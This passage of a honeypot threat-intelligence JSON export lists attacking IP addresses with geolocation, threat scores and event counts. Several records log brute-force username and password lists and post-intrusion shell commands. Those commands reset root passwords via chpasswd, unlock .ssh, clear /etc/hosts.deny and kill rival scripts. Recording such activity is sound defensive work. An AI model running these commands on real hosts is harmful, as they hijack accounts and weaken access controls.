        "first_seen_30d": "2026-05-02T11:08:03.986000+00:00",
        "last_seen_30d": "2026-05-02T11:09:22.881000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "39.113.77.97": {
      "attack_count": 2,
      "first_seen": "2026-05-13T14:52:44.883Z",
      "last_seen": "2026-05-13T14:52:57.274Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Nam-gu",
      "asn": 9318,
      "as_org": "SK Broadband Co Ltd",
      "threat_score": 7.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T14:52:44.883000+00:00",
        "last_seen_30d": "2026-05-13T14:54:01.902000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "45.175.143.145": {
      "attack_count": 2,
      "first_seen": "2026-05-23T19:47:38.636Z",
      "last_seen": "2026-05-23T19:49:38.638Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Formosa",
      "asn": 265663,
      "as_org": "BOCA ROJA S.A.",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T19:47:38.636000+00:00",
        "last_seen_30d": "2026-05-23T19:50:45.412000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "45.186.211.118": {
      "attack_count": 2,
      "first_seen": "2026-05-31T19:29:28.509Z",
      "last_seen": "2026-05-31T19:29:41.016Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Barquisimeto",
      "asn": 263703,
      "as_org": "VIGINET C.A",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-31T19:29:28.509000+00:00",
        "last_seen_30d": "2026-05-31T19:30:41.298000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "58.50.158.217": {
      "attack_count": 2,
      "first_seen": "2026-05-23T09:05:57.042Z",
      "last_seen": "2026-05-23T09:06:34.167Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T09:05:57.042000+00:00",
        "last_seen_30d": "2026-05-23T09:07:43.385000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "60.48.97.184": {
      "attack_count": 2,
      "first_seen": "2026-05-15T11:39:23.287Z",
      "last_seen": "2026-05-15T11:39:35.660Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Malaysia",
      "country_code": "MY",
      "city": "Cyberjaya",
      "asn": 4788,
      "as_org": "TM TECHNOLOGY SERVICES SDN. BHD.",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T11:39:23.287000+00:00",
        "last_seen_30d": "2026-05-15T11:40:37.485000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "65.49.20.67": {
      "attack_count": 2,
      "first_seen": "2026-05-25T15:17:49.256Z",
      "last_seen": "2026-05-25T15:17:51.401Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 96.1,
      "threat_level": "critical",
      "score_components": {
        "frequency": 26.1,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 407,
        "days_active_30d": 30,
        "ports_targeted_30d": 84,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-05-02T03:05:33+00:00",
        "last_seen_30d": "2026-05-31T14:20:46.079000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 242,
        "Honeytrap": 138,
        "Redishoneypot": 11,
        "Mailoney": 6,
        "Adbhoney": 4,
        "Dionaea": 4,
        "Cowrie": 2
      }
    },
    "77.223.249.147": {
      "attack_count": 2,
      "first_seen": "2026-05-13T17:49:08.761Z",
      "last_seen": "2026-05-13T17:49:21.212Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Saudi Arabia",
      "country_code": "SA",
      "city": "Jeddah",
      "asn": 43766,
      "as_org": "Mobile Telecommunication Company Saudi Arabia Joint-Stock company",
      "threat_score": 7.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T17:49:08.761000+00:00",
        "last_seen_30d": "2026-05-13T17:50:23.124000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "8.208.16.103": {
      "attack_count": 2,
      "first_seen": "2026-05-11T21:39:09.225Z",
      "last_seen": "2026-05-11T21:39:09.226Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "London",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T21:39:09.225000+00:00",
        "last_seen_30d": "2026-05-11T21:40:16.506000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "90.165.208.5": {
      "attack_count": 2,
      "first_seen": "2026-05-04T09:28:10.743Z",
      "last_seen": "2026-05-04T09:28:24.439Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Spain",
      "country_code": "ES",
      "city": "Ibi",
      "asn": 12479,
      "as_org": "Orange Espagne SA",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T09:28:10.743000+00:00",
        "last_seen_30d": "2026-05-04T09:29:33.248000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "91.210.251.99": {
      "attack_count": 2,
      "first_seen": "2026-05-20T15:04:04.705Z",
      "last_seen": "2026-05-20T15:04:18.140Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ukraine",
      "country_code": "UA",
      "city": "Kyiv",
      "asn": 48438,
      "as_org": "Corbina Telecom Llc.",
      "threat_score": 11.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T15:04:04.705000+00:00",
        "last_seen_30d": "2026-05-20T15:05:26.954000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "91.230.168.152": {
      "attack_count": 2,
      "first_seen": "2026-05-26T20:04:27.691Z",
      "last_seen": "2026-05-26T20:04:30.697Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Hillsboro",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 68.9,
      "threat_level": "high",
      "score_components": {
        "frequency": 17.2,
        "persistence": 21.7,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 52,
        "days_active_30d": 26,
        "ports_targeted_30d": 19,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-04T04:39:54+00:00",
        "last_seen_30d": "2026-05-29T02:18:22.522000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 31,
        "Honeytrap": 19,
        "Cowrie": 2
      }
    },
    "94.243.12.237": {
      "attack_count": 2,
      "first_seen": "2026-05-28T05:56:33.003Z",
      "last_seen": "2026-05-28T05:56:46.231Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Tyumen",
      "asn": 8359,
      "as_org": "MTS PJSC",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-28T05:56:33.003000+00:00",
        "last_seen_30d": "2026-05-28T05:57:54.099000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "176.65.132.129": {
      "attack_count": 10314,
      "first_seen": "2026-05-09T04:19:19.111Z",
      "last_seen": "2026-05-14T16:49:31.726Z",
      "sessions": 2058,
      "ports": [],
      "usernames_attempted": [
        "root",
        "user",
        "admin",
        "ubuntu",
        "deploy",
        "test",
        "user1",
        "minecraft",
        "postgres",
        "steam",
        "oracle",
        "frappe",
        "git",
        "hadoop",
        "app",
        "dmdba",
        "es",
        "ftpuser",
        "guest",
        "mysql"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "1",
        "password",
        "1234",
        "12345",
        "12345678",
        "1qaz@WSX",
        "123456789",
        "abc123",
        "111",
        "1111",
        "123123",
        "Aa123456",
        "admin",
        "admin123",
        "qwe123",
        "test123",
        "******",
        "111111"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 51396,
      "as_org": "Pfcloud UG (haftungsbeschrankt)",
      "threat_score": 20.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 14469,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T04:19:19.111000+00:00",
        "last_seen_30d": "2026-05-14T16:50:32.900000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10314,
        "Suricata": 4155
      }
    },
    "102.210.148.92": {
      "attack_count": 716,
      "first_seen": "2026-05-05T17:51:05.844Z",
      "last_seen": "2026-05-18T02:23:49.043Z",
      "sessions": 85,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "linux",
        "admin",
        "administrator",
        "andres",
        "christelle",
        "debian",
        "eadmin",
        "es",
        "freelancer",
        "jupyter",
        "mysql",
        "ops",
        "pakchoi",
        "shalini",
        "svn",
        "user2",
        "whmapi"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345678",
        "linux123",
        "!QAZxsw2",
        "!qaz@wsx",
        "112358",
        "123!@#qweQWE",
        "123456789",
        "12345678Ab",
        "123456Zr",
        "123456wW",
        "123Qwe123C",
        "1A2B3C4D",
        "1QAZ2wsx3edc",
        "1qaz2wsX",
        "1qaz@wsx",
        "1qazxdr5432",
        "2025",
        "2081"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"linux123\\nNfHsr9Uoud0i\\nNfHsr9Uoud0i\\n\"|passwd",
        "echo \"root:CZ9yYUuxQVq6\"|chpasswd|bash",
        "echo \"root:dzGWLEHgCVj9\"|chpasswd|bash",
        "echo \"root:fD4LHYTq5Jfs\"|chpasswd|bash",
        "echo \"root:uNZgjNgr7nlS\"|chpasswd|bash",
        "echo -e \"linux123\\nNfHsr9Uoud0i\\nNfHsr9Uoud0i\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "South Africa",
      "country_code": "ZA",
      "city": "Johannesburg",
      "asn": 328847,
      "as_org": "KoTDA",
      "threat_score": 30.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 29.6,
        "persistence": 11.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 909,
        "days_active_30d": 14,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T17:51:05.844000+00:00",
        "last_seen_30d": "2026-05-18T02:24:54.724000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 716,
        "Suricata": 193
      }
    },
    "105.184.44.64": {
      "attack_count": 494,
      "first_seen": "2026-05-19T18:36:31.038Z",
      "last_seen": "2026-05-20T18:12:36.661Z",
      "sessions": 247,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Africa",
      "country_code": "ZA",
      "city": null,
      "asn": 37457,
      "as_org": "Telkom-Internet",
      "threat_score": 26.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.7,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 742,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T18:36:31.038000+00:00",
        "last_seen_30d": "2026-05-20T18:13:39.246000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 494,
        "Suricata": 248
      }
    },
    "186.4.240.226": {
      "attack_count": 426,
      "first_seen": "2026-05-05T08:19:13.040Z",
      "last_seen": "2026-05-21T15:34:58.877Z",
      "sessions": 50,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "root",
        "admin",
        "345gs5662d34",
        "user",
        "ovh",
        "steam",
        "test",
        "test1",
        "bmuuser",
        "ec2-user",
        "ftp",
        "fuwuqi",
        "guest",
        "guest3",
        "lan",
        "pyuser",
        "socks",
        "squid",
        "support"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "Admin123",
        "123321",
        "12345678",
        "123456@qq.com",
        "123456ab",
        "1234rewq",
        "123qwe",
        "123test123",
        "1qazxsw23edc",
        "20",
        "555555",
        "Huawei123",
        "P@ssword1!",
        "Passw0rd",
        "admin123",
        "admin@123",
        "adminisp"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"ovh\\nHGMGCrFLCta3\\nHGMGCrFLCta3\\n\"|passwd",
        "echo \"root:lnNskT5a8MwS\"|chpasswd|bash",
        "echo \"ubuntu12345\\n2m3g9a74Xyc2\\n2m3g9a74Xyc2\\n\"|passwd",
        "echo -e \"ovh\\nHGMGCrFLCta3\\nHGMGCrFLCta3\"|passwd|bash",
        "echo -e \"ubuntu12345\\n2m3g9a74Xyc2\\n2m3g9a74Xyc2\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Ecuador",
      "country_code": "EC",
      "city": "Quito",
      "asn": 27947,
      "as_org": "Telconet S.A",
      "threat_score": 35.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.3,
        "persistence": 14.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 537,
        "days_active_30d": 17,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T08:19:13.040000+00:00",
        "last_seen_30d": "2026-05-21T15:36:07.472000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 426,
        "Suricata": 111
      }
    },
    "112.120.171.95": {
      "attack_count": 288,
      "first_seen": "2026-05-04T23:34:59.233Z",
      "last_seen": "2026-05-05T00:19:41.469Z",
      "sessions": 34,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "admin",
        "root",
        "postgres",
        "test",
        "345gs5662d34",
        "bkuser",
        "ftpuser",
        "odoo",
        "oracle",
        "tester",
        "testing",
        "user2"
      ],
      "passwords_attempted": [
        "123123",
        "3245gs5662d34",
        "345gs5662d34",
        "11223344",
        "112233445566",
        "123123123",
        "12345",
        "123qwe!@#",
        "789UIOjkl",
        "Pa$$w0rd",
        "Passw0rd",
        "Password123",
        "admin1",
        "admin2",
        "admin2021",
        "asd",
        "asdasd",
        "bkuser",
        "developer1234567",
        "oracle2019"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123123123\\nzIGa4lDD7cQF\\nzIGa4lDD7cQF\\n\"|passwd",
        "echo \"password01!\\ncN3mewJBFqBR\\ncN3mewJBFqBR\\n\"|passwd",
        "echo -e \"123123123\\nzIGa4lDD7cQF\\nzIGa4lDD7cQF\"|passwd|bash",
        "echo -e \"password01!\\ncN3mewJBFqBR\\ncN3mewJBFqBR\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 4760,
      "as_org": "HKT Limited",
      "threat_score": 5.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.6,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 362,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T23:34:59.233000+00:00",
        "last_seen_30d": "2026-05-05T00:20:47.607000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 288,
        "Suricata": 74
      }
    },
    "23.251.34.79": {
      "attack_count": 280,
      "first_seen": "2026-05-30T11:47:27.772Z",
      "last_seen": "2026-05-30T12:16:03.875Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "zhangsan",
        "chat",
        "elasticsearch",
        "hadi",
        "info",
        "sysadmin"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1",
        "123",
        "123123",
        "1616",
        "Aaa",
        "Cisco123",
        "Sachin@123",
        "abc123456789",
        "admin123",
        "chat",
        "hadi123",
        "manoj",
        "pass123",
        "root@1234",
        "xy123456"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"1\\naTc1rO3ckFHJ\\naTc1rO3ckFHJ\\n\"|passwd",
        "echo \"root:1LzlnXgTskJv\"|chpasswd|bash",
        "echo \"root:wUpbZiPfW7BR\"|chpasswd|bash",
        "echo -e \"1\\naTc1rO3ckFHJ\\naTc1rO3ckFHJ\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 62468,
      "as_org": "VpsQuan L.L.C.",
      "threat_score": 36.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 327,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T11:47:27.772000+00:00",
        "last_seen_30d": "2026-05-30T12:17:05.874000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 280,
        "Suricata": 47
      }
    },
    "128.78.143.196": {
      "attack_count": 277,
      "first_seen": "2026-05-21T16:18:27.112Z",
      "last_seen": "2026-05-21T16:52:35.890Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "chen",
        "hua",
        "admin",
        "horse",
        "minsu",
        "saltstack",
        "vivo",
        "xiamen"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "ADMIN",
        "emp001234",
        "horse",
        "password",
        "password1",
        "password12",
        "redis",
        "saltstack",
        "xiamen"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123456\\nJDGZ6bN2YnvR\\nJDGZ6bN2YnvR\\n\"|passwd",
        "echo \"password\\nCHnJhtHJXf0D\\nCHnJhtHJXf0D\\n\"|passwd",
        "echo \"root:cjKF02aBRF9Z\"|chpasswd|bash",
        "echo -e \"123456\\nJDGZ6bN2YnvR\\nJDGZ6bN2YnvR\"|passwd|bash",
        "echo -e \"password\\nCHnJhtHJXf0D\\nCHnJhtHJXf0D\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
